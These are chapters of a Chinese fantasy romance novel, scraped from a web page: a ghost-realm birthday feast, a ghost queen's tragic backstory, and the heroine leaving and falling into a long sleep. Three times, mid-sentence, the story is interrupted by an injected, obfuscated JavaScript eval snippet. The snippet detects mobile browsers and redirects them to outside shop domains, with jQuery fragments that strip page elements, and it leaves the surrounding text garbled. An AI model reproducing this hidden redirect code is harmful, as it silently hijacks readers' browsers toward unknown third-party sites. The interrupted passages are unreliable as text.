与天下苍生相比,那些事实在微不足道。 但也正因如此,两国之间的关系就在不知不觉间走向了陌路。 到了陆扬这一代,国君昏聩无能,治下无方。自己揽美人在怀,终日饮酒作乐,还不断派兵四处征讨,以致朝野动荡,百姓难安。夜兹不堪其扰,终于对乌目反攻,新仇旧恨,一并清算。 殷池连夜送走城中百姓,只余少数府兵和不愿离去的百姓留守城中。皇亲臣工都跑了,夜兹的士兵将怨恨通通发泄在殷池的身上,他们砍断了她的双手双脚,鲜血一汪汪地染红了她一身洁白无垢长裙,她始终没有出一声。他们又将她的一头青丝绑于麻绳上,将她悬吊在城楼之上,用她来逼陆扬就范。 绳子绑着头发一晃一晃的,身上的血还在滴滴答答地流,这让她几乎感受不到头皮被拉扯带来的疼痛。殷池还尚存一丝清醒,起初她能听到很多声音:夜兹兵的嬉笑嘲讽,王城百姓的痛苦哀嚎,陆扬撕心裂肺的呼喊,还有她渐渐微弱的心跳...... 很快她什么都听不到了,“砰”的一声,从城楼上坠下,头发连着头皮生生被拽下,摔得血肉模糊,当即便断了气。 陆扬也在殷池坠楼的那一刻提剑自戕,死前只求一件事:勿伤百姓。 他望向殷池的方向,到死也没有瞑目。 天道感其二人壮烈,准二人一同飞升。 但殷池已打定主意不愿在与陆扬共处一处,更不愿此生再与他有什么瓜葛,飞升当日便毫不犹豫地一跃而下,做了鬼王,成了如今的千相浮游。 殷池是放下了,可陆扬却没有。早在开战的前夕他就已经后悔了,本想待一切都结束后同她道歉修好,怎料满朝皆散,弃百姓于不顾。他只得单枪匹马,披甲迎敌,最后自戕而死,终究没能和她解释清楚。 他不愿放弃,三天两头就到鬼界来找殷池,但回回都吃闭门羹,最后惹得她不耐烦,不知从哪得来了一口火炮,直接将陆扬一炮送上了天。 这在三界之中,也算是一桩趣谈了。 思绪回转,言朝忽然想到曼罗羡和巫塔丽的嘱托,忙道:“差点忘了,你在高历城帮助的那两个夜兹人,她们让我们向你表示感谢呢。” 殷池听闻,狐疑地看了一眼风奚,笑道:“举手之劳而已。但都过去这么久了,公子怎么从来都没跟我提过呢?” 言朝看向风奚,道:“你竟然还没有告诉阿池吗?” 还不等风奚说话,殷池又道:“也对啊。这事也不是就他一个人做的,他要是单独来说,倒显得他抢了头功似的。还是公子想得周到啊。” 风奚揶揄道:“你帮人的时候就没想要这声谢,还需要我转达吗?” 百年过去,殷池早已对前尘往事释怀了,既已经做了鬼,那些恩恩怨怨便都与她无关。但她并没有忘记那些事,这不过是为了提醒自己不忘来时路,不负今时景。 这时,遥旭和弥清到了。 他们身后还跟了两个人,或者说两个神。 遥旭看着这满满一桌子菜,顿时就饿得不行,将手中的匣子往桌边一放,赶紧在风奚旁边坐下,又给弥清空出一个座位。弥清刚准备坐下,就被殷池拽到一边,道:“今天就让他们这些男人坐在一起,咱们三个女人挨着坐。” 言朝也跟着附和道:“是啊弥清,过来坐吧。” 弥清笑了笑,便在殷池旁边坐下了。 跟他们一起来的两个人,就稍显拘谨了,站在门口有点不知所措的样子。 言朝望向他们二人,两边都是十八九岁的少年,左边的极白,清秀且贵气,红衣云肩金腕,浑身上下珠光宝气的,很是亮眼,却半点不俗气;右边的更高,眉目深邃幽暗,目光之中带着一股淡漠疏离,他一头绿发,头上还长着个角,毛茸茸的,穿衣打扮也与旁人不同,看着倒像是处在三界之外的人。 最关键的是,从进屋起,他的目光就一直在自己身上。言朝觉得奇怪,但恍惚间又觉得他有点儿眼熟,可就是想不起来。 殷池笑了一声,道:“你们俩傻站着干嘛呢?难不成你们俩不男不女?” 此话一出,把在场的人都逗笑了,二人双双低下头,瞬间红了脸,灰溜溜的坐到了遥旭的身边。但两人似乎不对付,一左一右刚坐下来,就把椅子隔开了距离。 殷池眨了眨眼,道:“看你们俩眼生,不介绍一下自己?” 左边道:“我是易商。” 右边道:“我是山乔萤。” 说这话时,他又望向了言朝。不知是不是言朝的错觉,山乔萤的目光中似乎还带着一丝期待。 言朝没注意,山乔萤在看向她的同时,风奚也在看她。 言朝道:“山乔萤,你是海市中人吧。” 山乔萤听罢,激动地站起身,道:“你,你记得......” 山乔萤还没说完,就被风奚制止了,风奚摇了摇头,示意他先坐下。 言朝没想到他这么大的反应,也没多想,只道:“古籍记载:海市,身隐于三界之中,名声在三界之外。海市中人,多是奇装异服,尤好彩发。凡人十载方抵海市一载,寿岁漫长,唯不可出。” 此话一出,山乔萤的目光瞬间就暗了下来,特别是最后那句话。 言朝下意识又问了一句:“你这样离开,真的没关系吗?” 山乔萤闻言一怔,又抬头期盼似的看向言朝,道:“我没事的!你不要担心!没事......” 在场的人除了风奚,都有点儿懵了,遥旭道:“你咋这么激动?桃花,莫非你俩认识?” 言朝一时有些尴尬,感觉山乔萤似乎真的认识自己,但她想破了脑袋也不想不起来,自己何时认识了这么个人? 见他一脸期待的样子,言朝琢磨着,还是坦白道:“可能真的见过也说不准呢。但我记性不好,时间太久不小心忘记了。若是你不介意,我们重新认识一下。” 言朝莞尔:“你好,我是言朝。我言秋日胜春朝的言朝。” 话音刚落,遥旭和弥清齐齐望向言朝,道:“你说你叫什么?” 言朝笑了一声,道:“抱歉,其实我的本名叫言朝。刘桃花是出门用的假名。” 遥旭拍了一下桌子,道:“好啊好啊!想不到你一直用假名!咱们可都是一起出生入死两次的朋友了!你竟然还用假名!” 言朝眨眨眼,道:“你这话说的就不对了吧,遥旭。” 遥旭摸了摸鼻尖,尴尬地笑了两声,突然想到了什么,当即指向风奚,道:“那他......” 言朝道:“我知道啊,他叫风奚。” 遥旭睨了风奚一眼,哈哈笑道:“那什么,你不是说给我准备了生辰礼吗?礼物在哪呢?” 言朝从包中拿出一个木匣子递给遥旭,道:“打开看看。” 遥旭接过,打开一看,里面是一个木头雕刻的人偶,雕的正是遥旭。 遥旭惊讶道:“这是你刻的?” 言朝摇摇头,道:“是我家的长辈刻的,为了感谢你的菜谱,也为了祝贺你的生辰。” 说罢,言朝又从包中拿出两个木匣子,一个给风奚,一个给弥清,里面放的是刻着他们样子的木偶。 这是言朝从夜兹回来后,明祈特意为他们准备的。后来又有了弥清,趁着这次给遥旭庆祝生辰,就一并带来了。 风奚道:“谢谢,我很喜欢。” 弥清也道:“谢谢你言朝,真没想到我也有份。” 遥旭道:“怎么还见者有份啊?” 言朝笑道:“咱们四个不是天选之人吗?人手一个不是应该的吗?”她看向另外三人,又道:“这次来的匆忙,你们若是喜欢,下次再见时给你们带上。” 易商突然道:“喜欢喜欢!但我不能凭白受礼,你家长辈喜欢什么,我可是财神,但凡我有,皆可送你!” 言朝心道:“怪不得这么珠光宝气的,原来是财神啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199891|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 试问这天底下谁不爱财神? 如此一想,那还真是要什么有什么了。 言朝道:“你喜欢就好,送礼就不必了。我家长辈一向深居简出,你喜欢他做的东西,他就已经很高兴了。” 殷池勾了勾唇,笑道:“这位小财神,你要是不介意,倒是可以给姐姐这儿送点,我可是喜欢得很啊!” 谁料易商严词拒绝道:“不行不行!绝对不行!我可是很有原则的!财不易得,易则生贪,就算爱财,也得取之有道!” “你是这半闲坊的人,又是五大鬼王之一,难道还不够有钱吗?” 遥旭拍了一下易商,道:“你这混小子!快赶紧坐下吧!带你出来吃顿饭,怎么还把自己身份说出去了?” 易商道:“那有什么?我又不是假财神,说出去很丢人吗?再说了,这里又没外人。”他瞪了一眼山乔萤,又道,“除了某人。” 山乔萤没看他,脚上却是朝他蹬了一脚,当即就让易商跌坐回椅子上,冷声道:“吃饭也堵不住你的嘴!” “你!” 遥旭见他们二人这副剑拔弩张的样子,厉声道:“行了啊!你们俩天天掐还不累呢!赶紧吃饭!今日我过生辰,都把你们的个人恩怨先放放啊。” 殷池赶紧打圆场:“是啊是啊!这火锅就是得热热闹闹才好吃,前戏既然都表演完了,赶紧开席。我都饿了!” 此话一出,众人纷纷动筷。火锅像是有奇效一般,一口下肚,什么杂七杂八的都不重要了,气氛瞬间就缓和了。 风奚为遥旭准备了他最爱的茶酒,还有他最喜欢的猪脑花和毛肚。 席间,他夹了一块毛肚放到他碗里,低声道:“今年这底料炒的还不错吧!” 遥旭直点头,边吃边道:“不错!相当不错!” 风奚道:“喜欢?” 遥旭道:“喜欢喜欢!” 遥旭挑了下眉,漫不经心道:“嗯,喜欢就好。这是用我们鬼界黄牛精减下来的油炒的,绝对健康!” 遥旭顿了一下,转头看向他,道:“你敢不敢再说一遍?” 风奚道:“怎么了?黄牛精的油不是牛油吗?你应该见过吧,长了一身的腱子肉,为了这点油,可是煞费苦心呢。你觉得不好吃吗?” 遥旭抿了抿唇,“慷慨就义”似的吃下那块毛肚,咬牙切齿地道:“好吃,爱吃......” 风奚又给他夹了一块,笑道:“好吃就多吃点。” 殷池看了他们一眼,道:“你们俩嘀嘀咕咕的说什么呢?”她又看向遥旭带来的食匣子,意味深长地道,“呦,小公子带的是什么啊?还弄得这么精致。” 话音刚落,弥清登时害羞地低下了头。 遥旭道:“去去去!别瞎打听!难不成你觉得我奚哥这火锅不香吗?”说罢,将杯中的酒倒满,举杯又道,“来来来,咱们干一杯!” 众人纷纷举杯,共同祝愿道:“遥旭,生辰快乐!愿你年年岁岁有今朝!” 遥旭大笑一声,道:“希望以后每年都能有你们陪我过。”说罢,遥旭一饮而尽,藏起了他心底一闪而过的悲伤。 酒过三巡,众人酒意上头,似乎都有些醉了。 风奚不知何时坐到了言朝身边,面色微红,眼神迷离,口中一下下地吐着气。他有些坐不稳,但他仍是与言朝保持着一个不近不远的距离。 风奚支着头,侧身望向言朝,她今日很高兴,喝得有些上头,她微眯着眼,上半身轻轻地左右晃动,口中哼着一首曲子,断断续续的,但很好听。 风奚就这么静静地看着她,一时有些出神,忽听言朝道:“你为什么一直看着我?” 风奚低笑了一声,往前挪了一些,没有回答她的问题,而是道:“那些都不是真的。” 言朝有些迷茫道:“你说什么?” 风奚道:“没有别人......没有春山楼主,没有公子莲,只有风奚......” 言朝想了半天,才明白他说的是话本仙人写的那篇关于他和春山楼主的故事。 那时众人都猜测公子莲就是春山楼主,那故事还看得人遐想翩翩,不知有多少人觊觎公子莲。 春山楼能在鬼界开分店,也是因为他想要借此澄清谣言。 只是言朝不明白,他为何要特意向自己解释这件事? 33. 半闲坊千相会君3 风奚看着言朝迷茫的眼神,笑了一声,正欲说什么,殷池突然在后面拍了一下他,道:“公子,去跳舞啊。” “......” 风奚的双眸瞬间恢复清明,但他的神情却是从未有过的窘迫。 言朝道:“风奚,你怎么了?” 殷池越过风奚,拉起言朝,神秘兮兮地道:“看公子跳舞啊!你一定还没见过吧,咱们公子跳舞那叫一个妙啊!”殷池又看向一脸醉醺醺,正趴在桌上看着弥清傻乐的遥旭,又道,“就跟某人的歌声一样妙!” 言朝听得一激灵,和遥旭的歌声一样美妙,那不是...... 言朝摸了摸鼻子,没敢看风奚。但一直没没听风奚出声,她忍不住回头看了一眼,他又恢复如常,两手一摊,一脸笑意的看着自己,口中吐出一句话,却没有声音,看口型像是在说“别介意,请多包容。” 殷池一手揽着言朝,一手揽着弥清,踢了一下遥旭的椅子,道:“小公子,去唱歌啊!” 遥旭一听,“噌”的一声就站起来了,一手高指着天,迷离的双眼带着一丝兴奋,口齿不清道:“唱......嗝......我要伴舞!!!”目光忽然转向风奚,挑眉笑了两声,跌跌撞撞的就扑到风奚的怀中,又道,“哥,你给我......嗝......伴舞好不好啊......” 风奚长叹一声,道:“好。” 遥旭顿了一下,语气里带着点委屈地道:“我就知道,哥对我最好了......” 易商已经醉的不省人事,躺在地上睡起来了,山乔萤见言朝离开也跟着一起下去了。 几人来到一层的大堂,站在长阶之上,方才的帷幕已经不见,取而代之的是一方高台,此刻整座大堂的光都聚焦在殷池身上。 殷池看向下方宾客,高声道:“各位,不知可有人想一睹公子莲的舞姿啊?” 此话一出,全场瞬间沸腾,纷纷振臂高呼道:“看!看!看!!!” “公子在哪呢?” “好久没见公子了!真是想念得紧啊!” “公子快出来啊!!!” “公子!公子!公子!” ...... 在千呼万唤中,主角终于登场,但出现的却是另一位公子。众人见之,全场瞬间鸦雀无声,但只静了一刻,就爆发了雷鸣般的掌声。 殷池把风奚和遥旭留在台上,她带着其余三人,选了一处最佳观赏地,这里远离人群,安静隐秘,又能直观地看到台上的表演。她让小鬼上了一些果饮和浆果酪,道:“咱们继续吃着喝着,就在这好好欣赏两位公子的表演啊!” 言朝与弥清对视一眼,心照不宣地笑了一声,神色难言地一齐看向高台。 高台两侧的乐灵奏响激昂滂湃的乐曲,遥旭便就着乐声展臂高歌,边唱边跳,不知是他太兴奋,还是他用力过猛,竟是整个人从上到下红了个遍。 该怎么形容那个声音呢? 大概就是他一出声,整个世界都“安静”了。 台下众人目光呆滞:“......” 这次倒是听的很直观,但不知为何,言朝总觉得声音传到他们这好像减弱了很多。 殷池支着下巴,双目紧闭,蹙着眉,口中有一下没一下地咬着果饮配的竹管,“咔嚓”一声咬断了,百无聊赖地道:“我设了一道屏障,要是和外头那些人一样,我这好不容易开始的新生活岂不是交代在这了。” 话音刚落,就见风奚从遥旭的身后走出,左手一伸,右脚一抬,就这么跳上了。 他一出现,众人一改沉默,竟学着风奚的样子和他一起跳了起来。 起初还好好的,每一步都踩在了鼓点上,动作虽算不上优美流畅,但也说得过去。 可看着看着就不太对劲了,风奚的手脚好像被人控制了一般,同手同脚,动作僵硬,每一步都在意料之外。 言朝不敢相信地揉揉眼睛,又盯着他仔细看了几遍,百思不得其解,究竟是哪一步出现了问题?怎么突然就变成这样了??? 言朝忍不住笑出了声,风奚的舞姿配上遥旭的歌声,实在滑稽又诡异。 但更诡异的一幕出现了。 台下众人突然变得躁动,他们像着了魔一般,目光崇拜,近乎痴迷地望着风奚,那模样就像在瞻仰一个高高在上的神明。 他们的神明是那么的完美,那么的伟岸,那么的平易近人。 忽然,就见人群中一个长着三只眼睛,五只手的妖怪,高声道:“我愿为公子肝脑涂地!” 说罢,那妖怪便当场自爆,眼珠混着脑浆直喷屋顶,五只手脱臂而出,落在地上,一蹦一抽地蠕动着。 言朝:“......” 不一会儿,又一个披头散发的长脖女鬼站出来,道:“奴家愿为公子血洒当场!” 说罢,女鬼甩了甩头发,露出一只眼,仰头伸脖,血溅三尺,身边的人还将洒下来的血涂在脸上,或用双手接上一捧,更直接的抬头张嘴,将血尽数吞进肚子里了。 言朝:“......” 这可真是群魔乱舞了。 言朝眨眨眼,道:“他们这是,又死了?” 殷池本就憋着笑,被言朝这一句话搞得彻底笑破了嗓:“哈哈哈哈哈哈哈!!!阿朝呀阿朝,你也太逗了吧!放心他们死不了!” “不论是人神鬼,命都金贵得很。公子严令禁止不许他们轻视生命,但也纵着他们,所以这些不过是他们崇拜公子的一点儿小把戏罢了。” 言朝心道:“那这表达崇拜的方式还真是别致啊。” 言朝诚实道:“可他们似乎有点过于崇拜了......” 一直没说话的山乔萤突然开口道:“公子他,公子他除了跳舞什么都好的。真的!你相信我!” 言朝被山乔萤突如其来的反应吓了一跳,温声解释道:“我没觉得他不好,只是有些好奇,为何他们会崇拜风奚到这种程度?” 殷池道:“因为公子救过他们的命。” 七百年前,万灵之力横空降世,三界生灵涂炭,其力量之强,即便是神也难以掌控。 彼时鬼界万鬼躁动,自相残杀,鬼王枫弋与其妻汐乐将军,为守鬼界,双双战死。自此鬼界封闭,万千鬼魂灵无所依,只能在人间飘荡。后经含越引渡,但没有鬼界的通道,只能将他们化为虚无。 直到十年后,风奚自鬼界的焱刹场绝尘而出,成了鬼王,一统鬼界,第一件事便是接那些漂泊在外的亡魂回家。此后相继设立了念桥与往生树,建立了双生二城。 有家可回,有身可依。 自此,鬼界才逐渐重回正轨。 此后虽有新的鬼王,大家各自为政,但风奚的地位是永远都无法取代的。 在听到万灵之力时,言朝的目光不觉暗了几分,久违的困感再次袭来,但她面色如常,又隐于昏暗的烛火后,叫人看不出半点情绪。 可坐在言朝对面的弥清,却皱着眉头,有些抗拒似的,不知想到了什么。 殷池一改刚才严肃的语气,大笑几声,道:“怎么样,阿朝?我们公子是不是很不错。” 言朝没听出她话中的深意,只是如实道:“嗯,他很好。” 殷池又问弥清:“阿清,我们小公子是不是也不错?” 弥清从思绪中抽离,害羞地笑了一声,道:“他真的很好。” 言朝此时才后知后觉的发现俩人之间的微妙气氛,惊觉自己竟然到现在才发现。她忽然想起之前风奚说遥旭需要的是别人的关心,难不成指的就是弥清? 言朝心里想想,就笑出了声,她看向弥清,直截了当地问:“你和遥旭是不是已经在一起了?” 弥清刚喝下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233550|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口果饮,听到言朝的话,当即就喷了出来,咳了两声,道:“桃花,啊不对,言朝你说什么呢?”弥清被呛的脸红,越说到后面,声音越小。 言朝颇感遗憾地道:“难道你们还没有在一起吗?不是吧,你们都是天上的神仙,少说也认识百年了吧,这么长时间还没在一起,难道是他不行?” 弥清:“......” 殷池道:“哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!阿朝我可真是太喜欢你了!公子真是小气,怎么不早点带你来呢?” 言朝道:“现在也不晚啊。” 弥清突然站了起来,言朝道:“你怎么了?” 正当言朝以为是自己刚才一时嘴快,冒犯到了弥清,正准备道歉,弥清却突然俯下身与自己对视,郑重地道:“我喜欢遥旭,她也喜欢我。但我们现在还不能在一起。” 言朝点了点头,道:“为什么?” 弥清道:“我有我的原则。我要先找到我的来处,我不能不清不楚的活着。我们说好了,等我找到来处,就在一起。” 言朝有些错愕地看向弥清,她忽然觉得很幸运,能见识到这样的弥清。 在信徒们的眼中,弥清的形象,始终都是温和有礼,清冷自持的,那完全符合一个人对神明的想象。 但此刻,她褪去了神明的外衣,温和依旧,但内里却展现出对喜欢之人的坦率与真诚,对原则的坚守和执着。 言朝一瞬间有些恍惚,这副性格,让言朝想起了一位明祈提到的故人。她虽没有见过,但仅凭言语,言朝就觉得他们二人实在是太像了,就连姓氏都一样。 可细想之下,又觉得时间对不上。凡界诸国,唯有云槐以弥为国姓,其余各国也生活着一部分弥姓之人。可云槐已经在那场浩劫中灭国,国主和王后皆已身死,王城百姓死伤数十万,云槐故地更是被含越亲自下令封印,变成了三界禁地,那里早已成为一片死绝之地。如今,仅有少数的遗民还生活在王城外围。 万灵之乱在七百年前,弥清是五百年前飞升的,难不成是当年侥幸逃脱的哪位皇亲之后? 但怎么会这么像呢? 她既要寻来处,那应该并未生活在云槐,言朝有一种很强烈的直觉,她一定和云槐有莫大的关联。 言朝道:“你要找来处,难道你飞升前不知自己从哪来吗?” 弥清摇了摇头,道:“我是被师父抚养长大的,他并未给我取名,而是从我会讲话,有记忆开始,‘弥清’这个名字就已 经印刻在我的心里了。那时我便坚信这就是我的名字。”弥清拿起腰间的玉环,又道,“除了这个名字,还有这个玉环,它是和我一起来的。除此之外,再无其他。” 那玉环质地莹润清透,是块好料,但雕工却有些粗糙,像是还没来得及完成的半成品。看那玉环的圈口,似与婴孩手腕大小一致,这应该是弥清的父母送给她的礼物,却因为某些原因没能完成,只能草草地就这么交给了她。 正当这时,风奚架着醉醺醺的遥旭回来了,道:“你们在谈什么呢?” 言朝笑了一声,道:“没什么,就是觉得二位公子的表演大为震撼。” 风奚:“......” 弥清站起身,道:“好啦好啦,今日都吃饱喝足了,都回去歇着吧。对了,别忘了把楼上那个也带走啊!” 风奚见言朝面染疲色,道:“那我们回去吧。” 言朝道:“好。” 风奚抬手一指,就将遥旭和楼上的易商收进了腰间的锦囊中,带着其余三人一起来到了望生城深处的千水阙,那是风奚在这里的住所。 门前有一道硕大的水屏,屏中呈现的是妄生城的景象,但我言朝所见不同。 水屏中的妄生城尽是白骨皑皑,一砖一瓦,一草一木,皆是由白骨所化。 全都是人的骨头。 34. 噬神梦醒雪落羌 忽然,风奚的狼狐面具化成了一只红狐和一只白狼。 它们姿态昂扬地傲立在水屏两侧,像是妄生城的护城使者。 言朝眼前一亮,没想到他的面具竟然是活的。忍不住俯下身摸了摸,红狐的额上有个弯月的印记,白狼则有一双深邃的蓝瞳,毛茸茸的,手感真好。它们见了言朝,不仅不抗拒,甚至还主动上前蹭了蹭,把她的脸舔的湿乎乎的,言朝喜欢得不得了。 风奚低头笑了笑,道:“朝朝,它们喜欢你。” 弥清也道:“是啊,我还是第一次见它们对风奚以外的人这么亲近,就连遥旭都不行。” 言朝听后更喜欢了,一把将它们抱在怀中,一边亲了一大口,道:“谢谢你们喜欢我,我也很喜欢你们!我有一只乌鸦叫墨墨,下次介绍你们认识啊!” 一人,一狐,一狼,三个抱作一团,就这么如此简单的许下了约定。 风奚道:“逐雁,辜月,你们两个礼貌些。朝朝是千水阙的贵客,要是因你们怠慢了,下次就别出来了。” 逐雁和辜月一听,耳朵瞬间耷拉下来,想两个做错事的孩子。它们正要从言朝怀里退出来,又被她紧紧抱住,言朝转头看向风奚,道:“你说它们作甚?我刚答应下次带墨墨来跟它们认识,鬼王大人,你可不要损坏我形象啊!” 风奚却道:“那你下次还来?” 言朝奇怪地望着他,道:“你在说什么?除了刚才这件事,我不是还说过要来看看这里的春山楼吗?已经说好的事,怎么能不来呢?” 风奚道:“好,我等着你。” 不知是不是言朝的错觉,她觉得风奚听完自己的那句话,像是松了一口气。而他回的那句话,话语间满是期待,还有更深的,言朝看不懂。 风奚炙热的目光生生撞进她的心里,言朝一怔,心里没来由的一阵悲伤。 风奚感受到言朝神色异常,眼神闪躲,再看回来时又恢复如常。他发现正要走的山乔萤,道:“你要去哪?” 山乔萤顿住脚,低声道:“我......我是想再去向千相大人要些浆果酪。” 风奚道:“你不怕晚上睡不着觉了?” 山乔萤道:“......我是给阿露的。” 风奚又看向言朝,言朝左右看了看,最后指了指自己,道:“给我的?” 山乔萤用力地点了点头,道:“嗯!阿露喜欢吃!” 言朝恍然想起,方才她好像是吃了不少浆果酪,那味道酸酸甜甜的,味道确实不错,但这会着实吃不下了。可言朝又不懂了,山乔萤怎么如此关注自己,道:“谢谢你啊,不过我已经吃饱了。” 山乔萤落寞地垂下头,更是把言朝看得一愣,心道:“怎么莫名有种伤害小孩的罪恶感啊???” 言朝又道:“那什么,今日吃的不少了,不如明日你再陪我去一趟半闲坊?” 山乔萤猛地抬起头,他绿色的头发转瞬就成了红色,头上两只角也染上了一层红晕,这是表示很开心很开心的意思。 言朝见他好了,便问:“阿露是什么意思?” 山乔萤正色道:“家人。你是阿萤的家人!”他有些期待地看向言朝,又道,“你可以叫我阿萤吗?” 言朝虽不明白山乔萤为什么会把她当做家人,可瞧他这会很开心,也实在见不得他刚刚那副失落的样子,便一口答应道:“好,阿萤。” 此话一出,山乔萤整个角都红透了,头顶甚至冒起了一圈白烟。 言朝一下就笑出了声,道:“阿萤,你也太可爱了。” 山乔萤却道:“阿萤很厉害的!阿萤长大了,可以保护阿露!阿莹很厉害的!”他比了比自己的身量,又拍了拍胸脯,似是极力的在向言朝证明,他很可靠。 言朝知道他误会了,心里忽然有些无奈,真是个性情多变的小朋友啊。但还是细心解释道:“阿萤,我是夸你。我看得出来,你很厉害。” “谢谢你想保护我,但最重要的是你要先保护好自己,我也一样。只有先保护好自己,才能去保护想保护的人,你说呢?” 山乔萤似懂非懂地点点头,道:“阿萤知道。阿萤一定会保护好阿露的。” 言朝道:“好吧。如果我有需要,我会告诉你的。” 风奚道:“好了,时候也不早了,都去休息吧。” 许久未开口的弥清打了个哈欠,道:“是啊,我都困了。” 风奚道:“走吧朝朝,我带你去。” 言朝道:“好。”她伸了个懒腰,手臂挡住了她皱起的眉头,那股困感愈发的重了,这里不能再久留了。 风奚关切道:“你看起来很累。” 弥清和山乔萤闻声也道:“你没事吧。” 言朝打着哈哈,道:“就是梦有点多。我最近时常在梦里遨游,梦里太兴奋,醒了就累了。” 风奚一听,当即拉着言朝就往里走,把锦囊丢给弥清,头也不回的就走了,逐雁和辜月跟在二人后面。 言朝道:“不管他们吗?” 风奚道:“他们自己会找地方。” 二人走了一会,风奚带言朝来到一间房前。推开门,一阵暖暖的香风扑面而来,那香气有安神的成分,就像在有间酒肆闻见的香,香气不同,但功效一致。 屋内灯火通明,入眼便是一张紫檀木圆桌,桌上摆着一束还挂着露水的鲜花,那花色鲜艳,却给人清新淡雅之感,没有丝毫妖气。地上铺着一层纹样别致的地毯,一踩上去就有一股暖流自脚底通遍全身。走进来,珠帘后,是一张紫檀木床榻。 言朝一进来就被一股舒服的感觉包围了,她更困了。 风奚道:“你好好休息,我就在隔壁,有事随时唤我。” 言朝迷迷糊糊地点点头,但还是强撑着一丝清醒,道:“风奚,我家中还有事,明日我便走了。”未等风奚说话,言朝又将那串沉香珠交到他手中,又道,“好了,现在物归原主了。” 风奚道:“你这是......” 言朝赶紧打断他,笑道:“我没有别的意思,只是这本来就是你的,我总带着算怎么回事啊。你确实很厉害,但我也不差啊。咱们可是并肩作战的朋友,以后时间还长着呢。” 风奚道:“好,那你好好休息。” 风奚离开后,言朝直接往床上一倒,连被都没顾上盖,便沉沉地睡了过去。 翌日清晨。 言朝昏沉沉地醒来,看着眼前陌生的环境,愣了一会,才想起自己此时正在鬼界。 她望了望窗外,与昨日并无不同。 也是,鬼界哪分什么白天黑夜。 言朝猛拍了几下脑门,终于获得一丝清醒,她下床照镜子,幸好,脸色并无异样。待收拾齐整,推门一看,风奚不知何时已经站在了门前。 言朝道:“早......”刚说出一个字,又想起这是在鬼界,这么说好像不太对,但一时也不知该说什么好,只得道:“你昨晚休息的可好?” 刚一说完,言朝只觉自己实在是脑袋不灵光,在人家自己的地盘上,何来休息不好一说? 而且,鬼好像都是不需要休息的。 风奚似是看破了言朝所想,低笑一声,道:“我休息的很好。看你脸色不错,不知朝朝休息的如何?” 言朝嘻嘻地道:“好啊!一觉到天亮,精神得很!” 实际上,她已经快坚持不住了。 风奚没有察觉她的异样,道:“先吃些东西,吃完我送你出去。” 言朝摆摆手,道:“我带在路上吃。”唯恐风奚心中生疑,又道,“来时是那位雅信通过法术来的,我都没来得及好好看看这沿途的风景。想着熟悉熟悉路线,下次我就能自己来了。” 风奚道:“好吧。” 言朝忽然想起昨日与山乔萤的约定,道:“昨日事出紧急,我一时忘了家中有事。你帮我同阿萤解释一下,等下次见面时,我一定让他请我吃浆果酪。”说着,还从包里掏出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253990|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包未开封的杏子干,道,“你帮我把这个交给阿萤,这个是没那么甜的,先当是我的补偿吧。” 风奚看向杏子干,眸色深了几分,道:“他一定很喜欢。” 言朝闻言放下心来,道:“那就好。” 风奚带言朝出了望生城,又经过了往生树和了念桥,离开了鬼界,回到了人间。 二人在入口处告别,言朝走了几步,回头道:“风奚,下次见。” 风奚勾了勾唇,道:“下次见,朝朝。” 言朝走了不知多久,只觉步伐越来越沉重,两个眼皮也在不停地打架。放眼四周森林遍布,找不到一处隐蔽之所,言朝只得强打起精神,继续往前走。 此时正值秋日,凉爽无比,她却感觉浑身燥热,不知不觉间已被汗水浸透。 正当她意识迷离之际,听到了一声熟悉的鸣叫。 是墨墨。 此时的墨墨不再是一只小乌鸦,而是一只堪比大鹏鸟的庞然巨禽。 墨墨将言朝叼到自己的背上,她见是墨墨,便安心地彻底睡了过去。 “锵锵”一声啼鸣,墨墨直冲天际,带着陷入沉睡的言朝飞了很久很久,终于寻到一处深山里的隐秘山洞。墨墨将言朝安顿好,便又便会了乌鸦的模样,守护在言朝的身旁。 这一睡,就是三个月。 言朝再次醒来时,只觉身上压着什么东西,让她喘不上气来。她抬手摸索,摸到了一个毛茸茸的大家伙,耳边还有轻浅的呼吸声,言朝缓缓睁开眼,便看到一颗大熊头正搭在她的身上。 言朝腾的一下坐起身,那熊被言朝的动静弄醒,睡眼惺忪地看着一脸惊愕的言朝,歪了歪头,没有一丝戒备,似是不明白她为什么不继续睡。 言朝算是看明白了,她打扰了一只正在冬眠,并且被认为和它一起冬眠的熊。 言朝尴尬地笑了笑,道:“哈哈抱歉啊,这位熊兄弟。我不是有意要打扰你冬眠的......” 